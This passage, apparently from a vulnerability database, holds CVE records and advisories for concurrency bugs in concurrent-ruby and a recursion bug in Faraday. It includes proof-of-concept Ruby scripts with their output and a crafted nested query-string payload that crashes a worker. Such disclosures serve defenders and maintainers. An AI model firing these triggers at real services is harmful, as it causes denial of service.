"value": "concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN. The issue is caused by the interaction between AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds; Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.; and Ruby NaN semantics, where Float::NAN == Float::NAN is always false. As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller\u0027s block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs. This vulnerability is fixed in 1.3.7."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-835",
"description": "CWE-835: Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-24T15:44:21.992Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj"
}
],
"source": {
"advisory": "GHSA-h8w8-99g7-qmvj",
"discovery": "UNKNOWN"
},
"title": "concurrent-ruby: `AtomicReference#update` livelocks when the stored value is `Float::NAN`"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-54904",
"datePublished": "2026-06-24T15:44:21.992Z",
"dateReserved": "2026-06-16T13:49:33.556Z",
"dateUpdated": "2026-06-25T13:20:00.135Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-54905 (GCVE-0-2026-54905)
Vulnerability from cvelistv5 – Published: 2026-06-24 15:42 – Updated: 2026-06-24 16:41
VLAI
EPSS
VEX
Title
concurrent-ruby: `ReentrantReadWriteLock` read-count overflow grants a write lock without exclusivity
Summary
concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times. The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. try_write_lock then treats the thread as already holding a write lock and returns true without setting the global RUNNING_WRITER bit. This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time. This vulnerability is fixed in 1.3.7.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-128 - Wrap-around Error
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/ruby-concurrency/concurrent-ru… | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| ruby-concurrency | concurrent-ruby |
Affected:
< 1.3.7
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-54905",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-24T16:41:31.221708Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-24T16:41:34.224Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-wv3x-4vxv-whpp"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "concurrent-ruby",
"vendor": "ruby-concurrency",
"versions": [
{
"status": "affected",
"version": "\u003c 1.3.7"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times. The lock stores a thread\u0027s local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. try_write_lock then treats the thread as already holding a write lock and returns true without setting the global RUNNING_WRITER bit. This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time. This vulnerability is fixed in 1.3.7."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 2,
"baseSeverity": "LOW",
"privilegesRequired": "LOW",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-128",
"description": "CWE-128: Wrap-around Error",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-24T15:42:44.257Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-wv3x-4vxv-whpp",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-wv3x-4vxv-whpp"
}
],
"source": {
"advisory": "GHSA-wv3x-4vxv-whpp",
"discovery": "UNKNOWN"
},
"title": "concurrent-ruby: `ReentrantReadWriteLock` read-count overflow grants a write lock without exclusivity"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-54905",
"datePublished": "2026-06-24T15:42:44.257Z",
"dateReserved": "2026-06-16T13:49:33.556Z",
"dateUpdated": "2026-06-24T16:41:34.224Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-54906 (GCVE-0-2026-54906)
Vulnerability from cvelistv5 – Published: 2026-06-24 15:46 – Updated: 2026-06-24 17:57
VLAI
EPSS
VEX
Title
concurrent-ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption
Summary
concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running. Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError. This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. This vulnerability is fixed in 1.3.7.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/ruby-concurrency/concurrent-ru… | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| ruby-concurrency | concurrent-ruby |
Affected:
< 1.3.7
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-54906",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-24T17:56:44.670673Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-24T17:57:07.650Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-6wx8-w4f5-wwcr"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "concurrent-ruby",
"vendor": "ruby-concurrency",
"versions": [
{
"status": "affected",
"version": "\u003c 1.3.7"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running. Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError. This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. This vulnerability is fixed in 1.3.7."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 2.1,
"baseSeverity": "LOW",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "LOW"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-414",
"description": "CWE-414: Missing Lock Check",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-667",
"description": "CWE-667: Improper Locking",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-24T15:46:01.116Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-6wx8-w4f5-wwcr",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-6wx8-w4f5-wwcr"
}
],
"source": {
"advisory": "GHSA-6wx8-w4f5-wwcr",
"discovery": "UNKNOWN"
},
"title": "concurrent-ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-54906",
"datePublished": "2026-06-24T15:46:01.116Z",
"dateReserved": "2026-06-16T13:49:33.556Z",
"dateUpdated": "2026-06-24T17:57:07.650Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-6WX8-W4F5-WWCR
Vulnerability from github – Published: 2026-06-19 20:47 – Updated: 2026-06-19 20:47
VLAI
Summary
Concurrent Ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption
Details
Summary
Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.
Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError.
This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
release_write_lock checks only whether the global counter indicates that a writer is running. It does not track or verify ownership:
def release_write_lock
return true unless running_writer?
c = @Counter.update { |counter| counter - RUNNING_WRITER }
@ReadLock.broadcast
@WriteLock.signal if waiting_writers(c) > 0
true
end
Because ownership is not checked, a different thread can clear the RUNNING_WRITER bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.
release_read_lock unconditionally decrements the shared counter:
def release_read_lock
while true
c = @Counter.value
if @Counter.compare_and_set(c, c-1)
if waiting_writer?(c) && running_readers(c) == 1
@WriteLock.signal
end
break
end
end
true
end
On a fresh lock, this changes the counter from 0 to -1. A later acquire_read_lock raises Concurrent::ResourceLimitError because the maximum-reader check masks the negative counter as saturated.
Reproduce
From the root of a concurrent-ruby checkout, run:
ruby -Ilib/concurrent-ruby - <<'RUBY'
require 'concurrent/atomic/read_write_lock'
require 'concurrent/version'
require 'thread'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=ReadWriteLock release methods corrupt or bypass lock state"
lock = Concurrent::ReadWriteLock.new
events = Queue.new
writer1_inside = false
writer1 = Thread.new do
lock.acquire_write_lock
writer1_inside = true
events << :writer1_acquired
sleep 0.5
writer1_inside = false
lock.release_write_lock
events << :writer1_finished
end
events.pop
puts 'writer1_acquired=true'
intruder_result = nil
intruder = Thread.new do
intruder_result = lock.release_write_lock
end
intruder.join
puts "wrong_thread_release_write_lock_returned=#{intruder_result}"
writer2_entered_while_writer1_inside = nil
writer2 = Thread.new do
lock.acquire_write_lock
writer2_entered_while_writer1_inside = writer1_inside
lock.release_write_lock
end
writer2.join(0.25)
puts "writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}"
writer1.join
lock2 = Concurrent::ReadWriteLock.new
stray_read_release_result = lock2.release_read_lock
counter_after_stray_read_release = lock2.instance_eval { @Counter.value }
read_after_stray_release = begin
lock2.acquire_read_lock
'acquired'
rescue => error
"#{error.class}: #{error.message}"
end
puts "stray_release_read_lock_returned=#{stray_read_release_result}"
puts "counter_after_stray_read_release=#{counter_after_stray_read_release}"
puts "acquire_read_after_stray_release=#{read_after_stray_release}"
if intruder_result && writer2_entered_while_writer1_inside && counter_after_stray_read_release == -1
puts 'result=REPRODUCED wrong-thread write release and stray read-release corruption'
else
puts 'result=NOT_REPRODUCED'
end
Expected result:
- A second thread successfully calls
release_write_lockwhile the first writer still holds the lock. - A second writer enters while the first writer is still inside the write critical section.
- Calling
release_read_lockon a fresh lock changes the counter to-1. - A subsequent read acquisition fails with
Concurrent::ResourceLimitError.
Log evidence
Local reproduction output:
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=ReadWriteLock release methods corrupt or bypass lock state
writer1_acquired=true
wrong_thread_release_write_lock_returned=true
writer2_acquired_while_writer1_inside=true
stray_release_read_lock_returned=true
counter_after_stray_read_release=-1
acquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads
result=REPRODUCED wrong-thread write release and stray read-release corruption
Impact
This can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release.
The impact is local to applications that expose or misuse the manual acquire_* / release_* APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
Severity
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "concurrent-ruby"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54906"
],
"database_specific": {
"cwe_ids": [
"CWE-414",
"CWE-667"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T20:47:41Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n`Concurrent::ReadWriteLock#release_write_lock` does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.\n\n`Concurrent::ReadWriteLock#release_read_lock` also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from `0` to `-1`, after which normal read acquisition raises `Concurrent::ResourceLimitError`.\n\nThis is a synchronization correctness issue in the public `Concurrent::ReadWriteLock` API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n\n### Details\n\n`release_write_lock` checks only whether the global counter indicates that a writer is running. It does not track or verify ownership:\n\n```ruby\ndef release_write_lock\n return true unless running_writer?\n c = @Counter.update { |counter| counter - RUNNING_WRITER }\n @ReadLock.broadcast\n @WriteLock.signal if waiting_writers(c) \u003e 0\n true\nend\n```\n\nBecause ownership is not checked, a different thread can clear the `RUNNING_WRITER` bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.\n\n`release_read_lock` unconditionally decrements the shared counter:\n\n```ruby\ndef release_read_lock\n while true\n c = @Counter.value\n if @Counter.compare_and_set(c, c-1)\n if waiting_writer?(c) \u0026\u0026 running_readers(c) == 1\n @WriteLock.signal\n end\n break\n end\n end\n true\nend\n```\n\nOn a fresh lock, this changes the counter from `0` to `-1`. A later `acquire_read_lock` raises `Concurrent::ResourceLimitError` because the maximum-reader check masks the negative counter as saturated.\n\n# Reproduce\n\nFrom the root of a `concurrent-ruby` checkout, run:\n\n```bash\nruby -Ilib/concurrent-ruby - \u003c\u003c\u0027RUBY\u0027\nrequire \u0027concurrent/atomic/read_write_lock\u0027\nrequire \u0027concurrent/version\u0027\nrequire \u0027thread\u0027\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=ReadWriteLock release methods corrupt or bypass lock state\"\n\nlock = Concurrent::ReadWriteLock.new\nevents = Queue.new\nwriter1_inside = false\n\nwriter1 = Thread.new do\n lock.acquire_write_lock\n writer1_inside = true\n events \u003c\u003c :writer1_acquired\n sleep 0.5\n writer1_inside = false\n lock.release_write_lock\n events \u003c\u003c :writer1_finished\nend\n\nevents.pop\nputs \u0027writer1_acquired=true\u0027\n\nintruder_result = nil\nintruder = Thread.new do\n intruder_result = lock.release_write_lock\nend\nintruder.join\n\nputs \"wrong_thread_release_write_lock_returned=#{intruder_result}\"\n\nwriter2_entered_while_writer1_inside = nil\nwriter2 = Thread.new do\n lock.acquire_write_lock\n writer2_entered_while_writer1_inside = writer1_inside\n lock.release_write_lock\nend\n\nwriter2.join(0.25)\n\nputs \"writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}\"\n\nwriter1.join\n\nlock2 = Concurrent::ReadWriteLock.new\nstray_read_release_result = lock2.release_read_lock\ncounter_after_stray_read_release = lock2.instance_eval { @Counter.value }\nread_after_stray_release = begin\n lock2.acquire_read_lock\n \u0027acquired\u0027\nrescue =\u003e error\n \"#{error.class}: #{error.message}\"\nend\n\nputs \"stray_release_read_lock_returned=#{stray_read_release_result}\"\nputs \"counter_after_stray_read_release=#{counter_after_stray_read_release}\"\nputs \"acquire_read_after_stray_release=#{read_after_stray_release}\"\n\nif intruder_result \u0026\u0026 writer2_entered_while_writer1_inside \u0026\u0026 counter_after_stray_read_release == -1\n puts \u0027result=REPRODUCED wrong-thread write release and stray read-release corruption\u0027\nelse\n puts \u0027result=NOT_REPRODUCED\u0027\nend\n```\nExpected result:\n\n- A second thread successfully calls `release_write_lock` while the first writer still holds the lock.\n- A second writer enters while the first writer is still inside the write critical section.\n- Calling `release_read_lock` on a fresh lock changes the counter to `-1`.\n- A subsequent read acquisition fails with `Concurrent::ResourceLimitError`.\n\n### Log evidence\n\nLocal reproduction output:\n\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=ReadWriteLock release methods corrupt or bypass lock state\nwriter1_acquired=true\nwrong_thread_release_write_lock_returned=true\nwriter2_acquired_while_writer1_inside=true\nstray_release_read_lock_returned=true\ncounter_after_stray_read_release=-1\nacquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads\nresult=REPRODUCED wrong-thread write release and stray read-release corruption\n```\n\n### Impact\nThis can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release.\nThe impact is local to applications that expose or misuse the manual `acquire_*` / `release_*` APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
"id": "GHSA-6wx8-w4f5-wwcr",
"modified": "2026-06-19T20:47:41Z",
"published": "2026-06-19T20:47:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-6wx8-w4f5-wwcr"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby-concurrency/concurrent-ruby"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Concurrent Ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption"
}
GHSA-98M9-HRRM-R99R
Vulnerability from github – Published: 2026-06-19 19:35 – Updated: 2026-06-26 19:27
VLAI
Summary
Faraday: Uncontrolled recursion in NestedParamsEncoder allows stack exhaustion DoS via deeply nested query parameters
Details
Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.
A crafted query string such as:
a[x][x][x][x]...[x]=1
causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.
This has been patched in version 2.14.3 and backported to 1.10.6.
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.14.2"
},
"package": {
"ecosystem": "RubyGems",
"name": "faraday"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.14.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.10.5"
},
"package": {
"ecosystem": "RubyGems",
"name": "faraday"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.10.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54297"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T19:35:43Z",
"nvd_published_at": "2026-06-24T17:17:29Z",
"severity": "HIGH"
},
"details": "`Faraday::NestedParamsEncoder`, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.\n\nA crafted query string such as:\n\n```text\na[x][x][x][x]...[x]=1\n```\n\ncauses Faraday to build a deeply nested Ruby `Hash` structure. The internal `dehash` routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught `SystemStackError` (`stack level too deep`), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday\u0027s nested query parsing or URL-building paths.\n\nThis has been patched in version 2.14.3 and backported to 1.10.6.",
"id": "GHSA-98m9-hrrm-r99r",
"modified": "2026-06-26T19:27:19Z",
"published": "2026-06-19T19:35:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/security/advisories/GHSA-98m9-hrrm-r99r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54297"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/pull/1681"
},
{
"type": "PACKAGE",
"url": "https://github.com/lostisland/faraday"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/releases/tag/v1.10.6"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/releases/tag/v2.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Faraday: Uncontrolled recursion in NestedParamsEncoder allows stack exhaustion DoS via deeply nested query parameters"
}
GHSA-H8W8-99G7-QMVJ
Vulnerability from github – Published: 2026-06-19 20:47 – Updated: 2026-06-19 20:47
VLAI
Summary
Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`
Details
Summary
Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.
The issue is caused by the interaction between:
- AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds.
- Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.
- Ruby NaN semantics, where Float::NAN == Float::NAN is always false.
As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
AtomicReference#update retries until compare_and_set returns true:
def update
true until compare_and_set(old_value = get, new_value = yield(old_value))
new_value
end
For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:
def compare_and_set(old_value, new_value)
if old_value.kind_of? Numeric
while true
old = get
return false unless old.kind_of? Numeric
return false unless old == old_value
result = _compare_and_set(old, new_value)
return result if result
end
else
_compare_and_set(old_value, new_value)
end
end
When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.
This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.
PoC
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"
ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false
worker = Thread.new do
ref.update do |_old_value|
attempts += 1
0.0
end
finished = true
end
sleep 0.25
puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"
if worker.alive? && !finished && attempts > 1000
puts 'result=REPRODUCED busy retry loop; update did not complete'
else
puts 'result=NOT_REPRODUCED'
end
worker.kill
worker.join
control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
control_attempts += 1
old_value + 1.0
end
puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"
Log evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0
Impact
This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
Severity
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "concurrent-ruby"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54904"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T20:47:35Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n`Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`.\n\nThe issue is caused by the interaction between:\n- `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds.\n- Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap.\n- Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`.\n\nAs a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller\u0027s block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n### Details\n\n`AtomicReference#update` retries until `compare_and_set` returns true:\n\n```ruby\ndef update\n true until compare_and_set(old_value = get, new_value = yield(old_value))\n new_value\nend\n```\n\nFor numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic 